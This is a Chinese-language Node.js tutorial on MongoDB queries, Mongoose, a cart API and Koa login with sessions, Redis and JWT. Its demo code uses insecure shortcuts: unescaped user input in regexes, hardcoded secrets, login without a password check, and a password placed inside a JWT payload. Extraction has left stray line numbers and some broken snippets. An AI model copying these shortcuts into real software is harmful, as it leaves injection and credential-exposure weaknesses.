# 前端⻚⾯调⽤

index.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta
      name="viewport"
      content="width=device-width, initial-
                                       scale=1.0"
    />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />

    <!-- <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js">
</script> -->

    <script src="https://cdn.bootcss.com/vue/2.6.11/vue.min.js"></script>
    <script src="https://cdn.bootcss.com/element-ui/2.13.0/index.js"></script>
    <script src="https://cdn.bootcss.com/axios/0.19.2/axios.js"></script>

    <link
      href="https://cdn.bootcss.com/element-ui/2.13.0/theme-chalk/index.css"
      rel="stylesheet"
    />

    <title>⽠果超市</title>
  </head>

  <body>
    <div id="app">
      <el-input
        placeholder="请输⼊内容"
        v-model="search"
        class="input-with-select"
        @change="changeHandler"
      >
        <el-button slot="append" icon="el-icon-search"></el-button>
      </el-input>
      <el-radio-group v-model="category" @change="getData">
        <el-radio-button v-for="v in categorys" :label="v" :key="v"
          >{{v}}</el-radio-button
        >
      </el-radio-group>
      <el-table :data="fruits" style="width: 100%">
        <el-table-column prop="name" label="名称" width="180">
        </el-table-column>
        <el-table-column prop="price" label="价格" width="180">
        </el-table-column>
        <el-table-column prop="category" label="种类"> </el-table-column>
      </el-table>
      <el-pagination
        layout="prev, pager, next"
        @current-change="currentChange"
        :total="total"
      >
      </el-pagination>
    </div>
    <script>
      var app = new Vue({
        el: '#app',
        data: {
          page: 1,
          total: 0,
          fruits: [],
          categorys: [],
          category: [],
          search: ''
        },
        created() {
          this.getData()

          this.getCategory()
        },
        methods: {
          async currentChange(page) {
            this.page = page
            await this.getData()
          },
          async changeHandler(val) {
            console.log('search...', val)
            this.search = val
            await this.getData()
          },
          async getData() {
            const res = await axios.get(
              `/api/list?page=${this.page}&category=${this.category}&keyword=${this.search}`
            )
            const data = res.data.data
            this.fruits = data.fruits
            this.total = data.pagination.total
          },
          async getCategory() {
            const res = await axios.get(`/api/category`)
            this.categorys = res.data.data
            console.log('category', this.categorys)
          }
        }
      })
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# 接⼝编写

index.js

const express = require("express")
const app = express()
const path = require("path")
const mongo = require("./models/db")
// const testdata = require("./initData")

app.get("/", (req, res) => {
    res.sendFile(path.resolve("./index.html"))
})

app.get("/api/list", async (req, res) => {
    // 分⻚查询
    const { page} = req.query
    try {
        const col = mongo.col("fruits")
        const total = await col.find().count()
        const fruits = await col
        .find()
        .skip((page - 1) \* 5)
            .limit(5)
                .toArray()
        res.json({ ok: 1, data: { fruits, pagination: { total, page } } })
    } catch (error) {
        console.log(error)
    }
})

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 增加类别搜索功能
app.get('/api/category', async (req, res) => {
  const col = mongo.col('fruits')
  const data = await col.distinct('category')
  res.json({ ok: 1, data })
})

app.get('/api/list', async (req, res) => {
  // 分⻚查询
  const { page, category, keyword } = req.query

  // 构造条件
  const condition = {}
  if (category) {
    condition.category = category
  }

  if (keyword) {
    condition.name = { $regex: new RegExp(keyword) }
  }

  // 增加
  const total = await col.find(condition).count()
  const fruits = await col
    .find(condition) // 增加
    .skip((page - 1) * 5)
    .limit(5)
    .toArray()
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 操作符

操作符 (opens new window)

操作符⽂档 (opens new window)

# 查询操作符:提供多种⽅式定位数据库数据
// ⽐较$eq,$gt,$gte,$in 等
await col.find({price:{$gt:10}}).toArray()

// 逻辑$and,$not,$nor,$or
// price>10 或 price<5
await col.find({$or: [{price:{$gt:10}},{price:{$lt:5}}]})
// price不⼤于10且price不⼩于5
await col.find({$nor: [{price:{$gt:10}},{price:{$lt:5}}]})

// 元素$exists,$type
await col.insertOne({ name: "芒果", price: 20.0, stack:true })
await col.find({stack:{$exists:true}})

// 模拟$regex,$text,$expr
await col.find({name:{$regex://}})
await col.createIndex({name:'text'}) // 验证⽂本搜索需⾸先对字段加索引
await col.find({$text:{$search:'芒果'}}) // 按词搜索,单独字查询不出结果

// 数组$all,$elemMatch,$size
col.insertOne({..., tags: ["热带", "甜"]}) // 插⼊带标签数据
// $all:查询指定字段包含所有指定内容的⽂档
await col.find({ tags: {\$all:['热带','甜'] } }// $elemMatch: 指定字段数组中⾄少有⼀个元素满⾜所有查询规则
               col.insertOne({hisPrice: [20,25,30]}); // 数据准备
col.find({ hisPrice: { $elemMatch: { $gt: 24,$lt:26 } } }) // 历史价位有
没有出现在 24~26 之间

// 地理空间$geoIntersects,$geoWithin,$near,$nearSphere
// 创建 stations 集合
const stations = db.collection("stations");
// 添加测试数据,执⾏⼀次即可
await stations.insertMany([
    { name: "天安⻔东", loc: [116.407851, 39.91408] },
    { name: "天安⻔⻄", loc: [116.398056, 39.913723] },
    { name: "王府井", loc: [116.417809, 39.91435] }
]);
await stations.createIndex({ loc: "2dsphere" });
r = await stations.find({
    loc: {
        $nearSphere: {
            $geometry: {
                type: "Point",
                coordinates: [116.403847, 39.915526]
            },
            $maxDistance: 1000
        }
    }
}).toArray();
console.log("天安⻔附近地铁站", r);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# 更新操作符:可以修改数据库数据或添加附加数据
// 字段相关:$set,$unset,$setOnInsert,$rename,$inc,$min,$max,$mul
// 更新多个字段
await fruitsColl.updateOne(
    { name: "芒果" },
    { $set: { price: 19.8, category: '热带⽔果' } },
);
// 更新内嵌字段
{ $set: { ..., area: {city: '三亚'} } }

// 数组相关:$,$[],$addToSet,$pull,$pop,$push,$pullAll
// $push ⽤于新增
insertOne({tags: ['热带','甜']}) //添加 tags 数组字段
fruitsColl.updateMany({ name: "芒果" }, { $push: {tags: '上⽕'}})
// $pull,$pullAll⽤于删除符合条件项,$pop 删除⾸项-1 或尾项 1
fruitsColl.updateMany({ name: "芒果" }, { $pop: {tags: 1}})
fruitsColl.updateMany({ name: "芒果" }, { $pop: {tags: 1}})

// $,$[]⽤于修改
fruitsColl.updateMany({ name: "芒果", tags: "甜" }, { $set: {"tags.$":
                                                          "⾹甜"} })

// 修改器,常结合数组操作符使⽤:$each,$position,$slice,$sort
$push: { tags: { $each: ["上⽕", "真⾹"], $slice: -3 } }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 聚合操作符:使⽤ aggregate ⽅法,使⽂档顺序通过管道阶段从⽽得到最终结果

image-20210923184034496

// 聚合管道阶段:$group,$count,$sort,$skip,$limit,$project 等
// 分⻚查询
r = await fruitsColl
    .aggregate([{ $sort: { price: -1 } }, { $skip: 0 }, { $limit: 2}])
    .toArray();
// 投射:只选择 name,price 并排除_id
fruitsColl.aggregate([..., {$project:
                      {name:1,price:1,_id:0}}]).toArray();

// 聚合管道操作符:$add,$avg,$sum等
// 按name字段分组,统计组内price总和
fruitsColl.aggregate([{ $group:{_id:"$name",total:{$sum:"$price"}}}]).toArray();
1
2
3
4
5
6
7
8
9
10
11
12

常⽤聚合管道阶段操作均有对应的单个⽅法,通过 Cursor 调⽤

await fruitsColl.find().count()

await fruitsColl.find().sort({ price: -1 }).skip(0).limit(2) .project({name:1,price:1}) .toArray();

# ODM - Mongoose

概述:优雅的 NodeJS 对象⽂档模型 object document model。Mongoose 有两个特点:

  • 通过关系型数据库的思想来设计⾮关系型数据库
  • 基于 mongodb 驱动,简化操作

image-20210923184947415

# 安装

npm install mongoose -S

# 基本使⽤

// mongoose.js
const mongoose = require('mongoose')

// 1.连接
mongoose.connect('mongodb://localhost:27017/test', { useNewUrlParser: true })

const conn = mongoose.connection
conn.on('error', () => console.error('连接数据库失败'))
conn.once('open', async () => {
  // 2.定义⼀个 Schema - Table
  const Schema = mongoose.Schema({
    category: String,
    name: String
  })

  // 3.编译⼀个 Model, 它对应数据库中复数、⼩写的 Collection
  const Model = mongoose.model('fruit', Schema)
  try {
    // 4.创建,create 返回 Promise
    let r = await Model.create({
      category: '温带⽔果',
      name: '苹果',
      price: 5
    })
    console.log('插⼊数据:', r)
    // 5.查询,find 返回 Query,它实现了 then 和 catch,可以当 Promise 使⽤
    // 如果需要返回 Promise,调⽤其 exec()
    r = await Model.find({ name: '苹果' })
    console.log('查询结果:', r)

    // 6.更新,updateOne 返回 Query
    r = await Model.updateOne({ name: '苹果' }, { \$set: { name: '芒果' } })
    console.log('更新结果:', r)

    // 7.删除,deleteOne 返回 Query
    r = await Model.deleteOne({ name: '苹果' })
    console.log('删除结果:', r)
  } catch (error) {
    console.log(error)
  }
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

Mongoose 中各概念和关系数据库、⽂档数据库对应关系:

image-20210923185059233

# Schema

# 字段定义
const blogSchema = mongoose.Schema({
  title: { type: String, required: [true, '标题为必填项'] }, // 定义校验规则
  author: String,
  body: String,
  comments: [{ body: String, date: Date }], // 定义对象数组
  date: { type: Date, default: Date.now }, // 指定默认值
  hidden: Boolean,
  meta: {
    // 定义对象
    votes: Number,
    favs: Number
  }
})
// 定义多个索引
blogSchema.index({ title: 1, author: 1, date: -1 })
const BlogModel = mongoose.model('blog', blogSchema)
const blog = new BlogModel({
  title: 'nodejs 持久化',
  author: 'jerry',
  body: '....'
})
const r = await blog.save()
console.log('新增 blog', r)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

可选字段类型:

  • String
  • Number
  • Date
  • Buffer
  • Boolean
  • Mixed
  • ObjectId
  • Array

避免创建索引警告:

mongoose.connect('mongodb://localhost:27017/test', {
  useCreateIndex: true
})
1
2
3
# 定义实例⽅法

抽象出常⽤⽅法便于复⽤

// 定义实例⽅法
blogSchema.methods.findByAuthor = function () {
	return this.model('blog').find({ author: this.author }).exec();
}

// 获得模型实例
const BlogModel = mongoose.model("blog", blogSchema);
const blog = new BlogModel({...});

// 调⽤实例⽅法
r = await blog.findByAuthor();
console.log('findByAuthor', r);
1
2
3
4
5
6
7
8
9
10
11
12

实例⽅法还需要定义实例,⽤起来较繁琐,可以使⽤静态⽅法

# 静态⽅法
blogSchema.statics.findByAuthor = function(author) {
  return this.model('blog')
    .find({ author })
    .exec()
}

r = await BlogModel.findByAuthor('jerry')
console.log('findByAuthor', r)
1
2
3
4
5
6
7
8
# 虚拟属性
blogSchema.virtual('commentsCount').get(function() {
  return this.comments.length
})
r = await BlogModel.findOne({ author: 'jerry' })
console.log('blog 留⾔数:', r.commentsCount)
1
2
3
4
5

# 购物⻋相关接⼝实现

# mongoose.js
// mongoose.js
const mongoose = require('mongoose')
// 1.连接
mongoose.connect('mongodb://localhost:27017/test', { useNewUrlParser: true })
const conn = mongoose.connection
conn.on('error', () => console.error('连接数据库失败'))
1
2
3
4
5
6
# ⽤户模型
//models/user.js

const mongoose = require('mongoose')

const schema = mongoose.Schema({
  name: String,
  password: String,
  cart: []
})

schema.statics.getCart = function(\_id) {
  return this.model('user')
    .findById(\_id)
    .exec()
}

schema.statics.setCart = function(\_id, cart) {
  return this.model('user')
    .findByIdAndUpdate(\_id, { \$set: { cart } })
    .exec()
}

const model = mongoose.model('user', schema)

// 测试数据
model.updateOne(
  { \_id: '5c1a2dce951e9160f0d8573b' },
  { name: 'jerry', cart: [{ pname: 'iPhone', price: 666, count: 1 }] },
  { upsert: true },
  (err, r) => {
    console.log('测试数据')
    console.log(err, r)
  }
)

module.exports = model
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// mongoose.js
const mongoose = require('mongoose')
// 1.连接
mongoose.connect('mongodb://localhost:27017/test', { useNewUrlParser: true })
const conn = mongoose.connection
conn.on('error', () => console.error('连接数据库失败'))
1
2
3
4
5
6
// models/user.js
const mongoose = require('mongoose')

const schema = mongoose.Schema({
  name: String,
  password: String,
  cart: []
})

schema.statics.getCart = function(\_id) {
  return this.model('user')
    .findById(\_id)
    .exec()
}

schema.statics.setCart = function(\_id, cart) {
  return this.model('user')
    .findByIdAndUpdate(\_id, { \$set: { cart } })
    .exec()
}

const model = mongoose.model('user', schema)

// 测试数据
model.updateOne(
  { \_id: '5c1a2dce951e9160f0d8573b' },
  { name: 'jerry', cart: [{ pname: 'iPhone', price: 666, count: 1 }] },
  { upsert: true },
  (err, r) => {
    console.log('测试数据')
    console.log(err, r)
  }
)

module.exports = model

// index.js
const express = require('express')
const app = new express()
const bodyParser = require('body-parser')
const path = require('path')

// 数据库相关
require('./mongoose')
const UserModel = require('./models/user')

// mock session
const session = { sid: { userId: '5c1a2dce951e9160f0d8573b' } }

app.use(bodyParser.json())
app.get('/', (req, res) => {
  res.sendFile(path.resolve('./index.html'))
})
// 查询购物⻋数据
app.get('/api/cart', async (req, res) => {
  const data = await UserModel.getCart(session.sid.userId)
  res.send({ ok: 1, data })
})

// 设置购物⻋数据
app.post('/api/cart', async (req, res) => {
  await UserModel.setCart(session.sid.userId, req.body.cart)
  res.send({ ok: 1 })
})

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# index.html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script src="https://unpkg.com/element-ui/lib/index.js"></script>
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
    <link
      rel="stylesheet"
      href="https://unpkg.com/element-ui/lib/theme-chalk/index.css"
    />
    <title>⽠果超市</title>
  </head>
  <body>
    <div id="app">
      <el-button @click="getCart">getCart</el-button>
      <el-button @click="setCart">setCart</el-button>
    </div>
    <script>
      var app = new Vue({
        el: '#app',
        methods: {
          async getCart(page) {
            const ret = await axios.get('/api/cart')
            console.log('ret:', ret.data.data)
          },
          async setCart() {
            const ret = await axios.post('/api/cart', {
              cart: [
                {
                  name: '菠萝',
                  count: 1
                }
              ]
            })
          }
        }
      })
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 模型
  • 数据层

  • crud - mongoose 是不是⼀个通⽤问题 有规律的

  • restful 接⼝ - ?

  • crud 界⾯ - ?后台界⾯

    • 快速开发平台 jeecg mysql
    • KeystoneJS 4.0
    • py django

node 脑图 (opens new window)

事件循环脑图 (opens new window)

# Koa 实战 - 登录认证

掌握三种常见鉴权方式

  • Session/Cookie
  • Token
  • OAuth
  • SSO
// cookie.js
const http = require('http')
http
  .createServer((req, res) => {
    if (req.url === '/favicon.ico') {
      res.end('')
      return
    }
    // 观察 cookie 存在
    console.log('cookie:', req.headers.cookie)
    // 设置 cookie
    res.setHeader('Set-Cookie', 'cookie1=abc;')
    res.end('hello cookie!!')
  })
  .listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  • Header Set-Cookie 负责设置 cookie
  • 请求传递 Cookie

# session 的原理解释

// cookie.js
const http = require("http")
const session = {}
http
    .createServer((req, res) => {
    // 观察 cookie 存在
    console.log('cookie:', req.headers.cookie)

    const sessionKey = 'sid'
    const cookie = req.headers.cookie
    if(cookie && cookie.indexOf(sessionKey) > -1 ){
        res.end('Come Back ')
        // 简略写法未必具有通用性
        const pattern = new RegExp(`${sessionKey}=([^;]+);?\s*`)
        const sid = pattern.exec(cookie)[1]

        console.log('session:',sid ,session ,session[sid])
    } else {
        const sid = (Math.random() \* 99999999).toFixed()
        // 设置 cookie
        res.setHeader('Set-Cookie', `${sessionKey}=${sid};`)
        session[sid] = {name : 'laowang'}
        res.end('Hello')
    }
    res.end('hello cookie!!')
})
    .listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

session 会话机制是一种服务器端机制,它使用类似于哈希表(可能还有哈希表)的结构来保存信息。

# 原理

image-20210923191010662

# 实现原理

  1. 服务器在接受客户端首次访问时在服务器端创建 seesion,然后保存 seesion(我们可以将 seesion 保存在内存中,也可以保存在 redis 中,推荐使用后者),然后给这个 session 生成一个唯一的标识字符串,然后在响应头中种下这个唯一标识字符串。
  2. 签名。这一步通过秘钥对 sid 进行签名处理,避免客户端修改 sid。(非必需步骤)
  3. 浏览器中收到请求响应的时候会解析响应头,然后将 sid 保存在本地 cookie 中,浏览器在下次 http 请求的请求头中会带上该域名下的 cookie 信息,
  4. 服务器在接受客户端请求时会去解析请求头 cookie 中的 sid,然后根据这个 sid 去找服务器端保存的该客户端的 session,然后判断该请求是否合法。

# koa 中的 session 使用

 npm i koa-session -S
1
// index.js
const koa = require('koa')
const app = new koa()
const session = require('koa-session')

// 签名 key keys 作用 用来对 cookie 进行签名
app.keys = ['some secret']

// 配置项
const SESS_CONFIG = {
  key: 'wzp:sess', // cookie 键名
  maxAge: 86400000, // 有效期,默认一天
  httpOnly: true, // 仅服务器修改
  signed: true // 签名 cookie
}

// 注册
app.use(session(SESS_CONFIG, app))

// 测试
app.use((ctx) => {
  if (ctx.path === '/favicon.ico') return
  // 获取
  let n = ctx.session.count || 0
  // 设置
  ctx.session.count = ++n
  ctx.body = '第' + n + '次访问'
})

app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 使用 redis 存储 session

# redis 介绍
  • 是一个高性能的 key-value 数据库。
# Redis 与其他 key - value 缓存产品有以下三个特点:
  • Redis 支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis 不仅仅支持简单的 key-value 类型的数据,同时还提供 list,set,zset,hash 等数据结构的存储。
  • Redis 支持数据的备份,即 master-slave 模式的数据备份。
# Redis 优势
  • 性能极高 – Redis 能读的速度是 110000 次/s,写的速度是 81000 次/s 。
  • 丰富的数据类型 – Redis 支持二进制案例的 Strings, Lists, Hashes, Sets 及 Ordered Sets 数据类型操作。
  • 原子 – Redis 的所有操作都是原子性的,意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务,即原子性,通过 MULTI 和 EXEC 指令包起来。
  • 丰富的特性 – Redis 还支持 publish/subscribe, 通知, key 过期等等特性。
// redis.js
const redis = require('redis')

const client = redis.createClient(6379, 'localhost')

client.set('hello', 'This is a value')

client.get('hello', function(err, v) {
  console.log('redis get ', v)
})
1
2
3
4
5
6
7
8
9
10

安装: npm i -S koa-redis

配置使用:

// koa-redis
const redisStore = require('koa-redis')
const redis = require('redis')
const redisClient = redis.createClient(6379, 'localhost')

const wrapper = require('co-redis')
const client = wrapper(redisClient)

app.use(
  session(
    {
      key: 'wzp:sess',
      store: redisStore({ client }) // 此处可以不必指定client
    },
    app
  )
)

app.use(async (ctx, next) => {
  const keys = await client.keys('*')
  keys.forEach(async (key) => console.log(await client.get(key)))
  await next()
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 为什么要将 session 存储在外部存储中?
  • Session 信息未加密存储在客户端 cookie 中

  • 浏览器 cookie 有长度限制

# 例子演示

// index.html
<html>

    <head>
        <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
        <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
    </head>

    <body>
        <div id="app">
            <div>
                <input v-model="username">
                <input v-model="password">
            </div>
            <div>
                <button v-on:click="login">Login</button>
                <button v-on:click="logout">Logout</button>
                <button v-on:click="getUser">GetUser</button>
            </div>
            <div>
                <button onclick="document.getElementById('log').innerHTML = ''">Clear
                    Log</button>
            </div>
        </div>
        <h6 id="log"></h6>
        </div>
    <script>
        // axios.defaults.baseURL = 'http://localhost:3000'
        axios.defaults.withCredentials = true
        axios.interceptors.response.use(
            response => {
                document.getElementById('log').append(JSON.stringify(response.data))
                return response;
            }
        );
        var app = new Vue({
            el: '#app',
            data: {
                username: 'test',
                password: 'test'
            },
            methods: {
                async login() {
                    await axios.post('/users/login', {
                        username: this.username,
                        password: this.password
                    })
                },
                async logout() {
                    await axios.post('/users/logout')
                },
                async getUser() {
                    await axios.get('/users/getUser')


                }
            }
        });
    </script>
    </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const Koa = require('koa')
const router = require('koa-router')()
const session = require('koa-session')
const cors = require('koa2-cors')
const bodyParser = require('koa-bodyparser')
const static = require('koa-static')
const app = new Koa()

//配置session的中间件
app.use(
  cors({
    credentials: true
  })
)
app.keys = ['some secret']

app.use(static(__dirname + '/'))
app.use(bodyParser())
app.use(session(app))

app.use((ctx, next) => {
  if (ctx.url.indexOf('login') > -1) {
    next()
  } else {
    console.log('session', ctx.session.userinfo)
    if (!ctx.session.userinfo) {
      ctx.body = {
        message: '登录失败'
      }
    } else {
      next()
    }
  }
})

router.post('/users/login', async (ctx) => {
  const { body } = ctx.request
  console.log('body', body)
  //设置session
  ctx.session.userinfo = body.username
  ctx.body = {
    message: '登录成功'
  }
})
router.post('/users/logout', async (ctx) => {
  //设置session
  delete ctx.session.userinfo
  ctx.body = {
    message: '登出系统'
  }
})
router.get('/users/getUser', async (ctx) => {
  ctx.body = {
    message: '获取数据成功',
    userinfo: ctx.session.userinfo
  }
})

app.use(router.routes())
app.use(router.allowedMethods())
app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

# 过程回顾

  • 用户登录的时候,服务端生成一个唯一的会话标识,并以它为 key 存储数据
  • 会话标识在客户端和服务端之间通过 cookie 进行传输
  • 服务端通过会话标识可以获取到会话相关的信息,然后对客户端的请求进行响应;如果找不到有效的会话,那么认为用户是未登陆状态
  • 会话会有过期时间,也可以通过一些操作(比如登出)来主动删除

# Token 验证

原理

image-20210923201628571

  1. 客户端使用用户名跟密码请求登录
  2. 服务端收到请求,去验证用户名与密码
  3. 验证成功后,服务端会签发一个令牌(Token),再把这个 Token 发送给客户端
  4. 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里
  5. 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token
  6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据

# 案例:令牌认证

# 登录页

index.html

<html>
  <head>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  </head>

  <body>
    <div id="app">
      <div>
        <input v-model="username" />
        <input v-model="password" />
      </div>
      <div>
        <button v-on:click="login">Login</button>
        <button v-on:click="logout">Logout</button>
        <button v-on:click="getUser">GetUser</button>
      </div>
      <div>
        <button @click="logs=[]">Clear Log</button>
      </div>
      <!-- 日志 -->
      <ul>
        <li v-for="(log,idx) in logs" :key="idx">
          {{ log }}
        </li>
      </ul>
    </div>

    <script>
      axios.interceptors.request.use(
        (config) => {
          const token = window.localStorage.getItem('token')
          if (token) {
            // 判断是否存在token,如果存在的话,则每个http header都加上token
            // Bearer是JWT的认证头部信息
            config.headers.common['Authorization'] = 'Bearer ' + token
          }
          return config
        },
        (err) => {
          return Promise.reject(err)
        }
      )

      axios.interceptors.response.use(
        (response) => {
          app.logs.push(JSON.stringify(response.data))
          return response
        },
        (err) => {
          app.logs.push(JSON.stringify(response.data))
          return Promise.reject(err)
        }
      )
      var app = new Vue({
        el: '#app',
        data: {
          username: 'test',
          password: 'test',
          logs: []
        },
        methods: {
          login: async function() {
            const res = await axios.post('/users/login-token', {
              username: this.username,
              password: this.password
            })
            localStorage.setItem('token', res.data.token)
          },
          logout: async function() {
            localStorage.removeItem('token')
          },
          getUser: async function() {
            await axios.get('/users/getUser-token')
          }
        }
      })
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# 登录接口

安装依赖:npm i jsonwebtoken koa-jwt -S

# 接口编写

index.js

const Koa = require('koa')
const router = require('koa-router')()

const jwt = require('jsonwebtoken')
const jwtAuth = require('koa-jwt')
const secret = "it's a secret"
const cors = require('koa2-cors')
const bodyParser = require('koa-bodyparser')
const static = require('koa-static')
const app = new Koa()
app.keys = ['some secret']

app.use(static(__dirname + '/'))
app.use(bodyParser())

router.post('/users/login-token', async (ctx) => {
  const { body } = ctx.request
  //登录逻辑,略
  //设置session
  const userinfo = body.username
  ctx.body = {
    message: '登录成功',
    user: userinfo,
    // 生成 token 返回给客户端
    token: jwt.sign(
      {
        data: userinfo,
        // 设置 token 过期时间,一小时后,秒为单位
        exp: Math.floor(Date.now() / 1000) + 60 * 60
      },
      secret
    )
  }
})

router.get(
  '/users/getUser-token',
  jwtAuth({
    secret
  }),
  async (ctx) => {
    // 验证通过,state.user
    console.log(ctx.state.user)

    //获取session
    ctx.body = {
      message: '获取数据成功',
      userinfo: ctx.state.user.data
    }
  }
)

app.use(router.routes())

app.use(router.allowedMethods())
app.listen(3000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCIsImV4cCI6MTU4NTQwNzgxMSwiaWF0IjoxNTg1NDA0MjExfQ.6fTqLuj13_MmqjdOOAzM3tn8O7nW7HZ-
MmJKat4eTg4
1
2
# 过程回顾
  • 用户登录的时候,服务端生成一个 token 返回给客户端
  • 客户端后续的请求都带上这个 token
  • 服务端解析 token 获取用户信息,并响应用户的请求
  • token 会有过期时间,客户端登出的时候也会废弃 token,但是服务端不需要任何操作
# 与 Token 简单对比
  • session 要求服务端存储信息,并且根据 id 能够检索,而 token 不需要(因为信息就在 token 中,这样实现了服务端无状态化)。在大规模系统中,对每个请求都检索会话信息可能是一个复杂和耗时的过程。但另外一方面服务端要通过 token 来解析用户身份也需要定义好相应的协议(比如 JWT)。
  • session 一般通过 cookie 来交互,而 token 方式更加灵活,可以是 cookie,也可以是 header,也可以放在请求的内容中。不使用 cookie 可以带来跨域上的便利性。
  • token 的生成方式更加多样化,可以由第三方模块来提供。
  • token 若被盗用,服务端无法感知,cookie 信息存储在用户自己电脑中,被盗用风险略小。

# JWT(JSON WEB TOKEN)原理解析

  1. Bearer Token 包含三个组成部分:令牌头、payload、哈希
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCIsImV4cCI6MTU2NzY5NjEzNCwiaWF0IjoxNTY3NjkyNTM0fQ.OzDruSCbXFokv1zFpkv22Z_9AJGCHG5fT_WnEaf72EA
1

base64 可逆

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoidGVzdCIsImV4cCI6MTU2NjM5OTc3MSwiaWF0IjoxNTY2Mzk2MTcxfQ.nV6sErzfZSfWtLSgebAL9nx2wg-LwyGLDRvfjQeF04U
1
  1. 签名:默认使用 base64 对 payload 编码,使用 hs256 算法对令牌头、payload 和密钥进行签名生成哈希
  2. 验证:默认使用 hs256 算法对 hs256 算法对令牌中数据签名并将结果和令牌中哈希比对
// jsonwebtoken.js
const jsonwebtoken = require('jsonwebtoken')

const secret = '12345678'
const opt = {
  secret: 'jwt_secret',
  key: 'user'
}
const user = {
  username: 'abc',
  password: '111111'
}

const token = jsonwebtoken.sign(
  {
    data: user,
    // 设置 token 过期时间
    exp: Math.floor(Date.now() / 1000) + 60 * 60
  },
  secret
)

console.log('生成token:' + token)
// 生成
/*token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWJjIiwic
GFzc3dvcmQiOiIxMTExMTEifSwiZXhwIjoxNTQ2OTQyMzk1LCJpYXQiOjE1NDY5Mzg3OTV9.VPBCQgLB
7XPBq3RdHK9WQMkPp3dw65JzEKm_LZZjP9Y*/
console.log('解码:', jsonwebtoken.verify(token, secret, opt))
// 解码: { data: { username: 'abc', password: '111111' },
//  exp: 1546942395,
//  iat: 1546938795 }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# HMAC SHA256

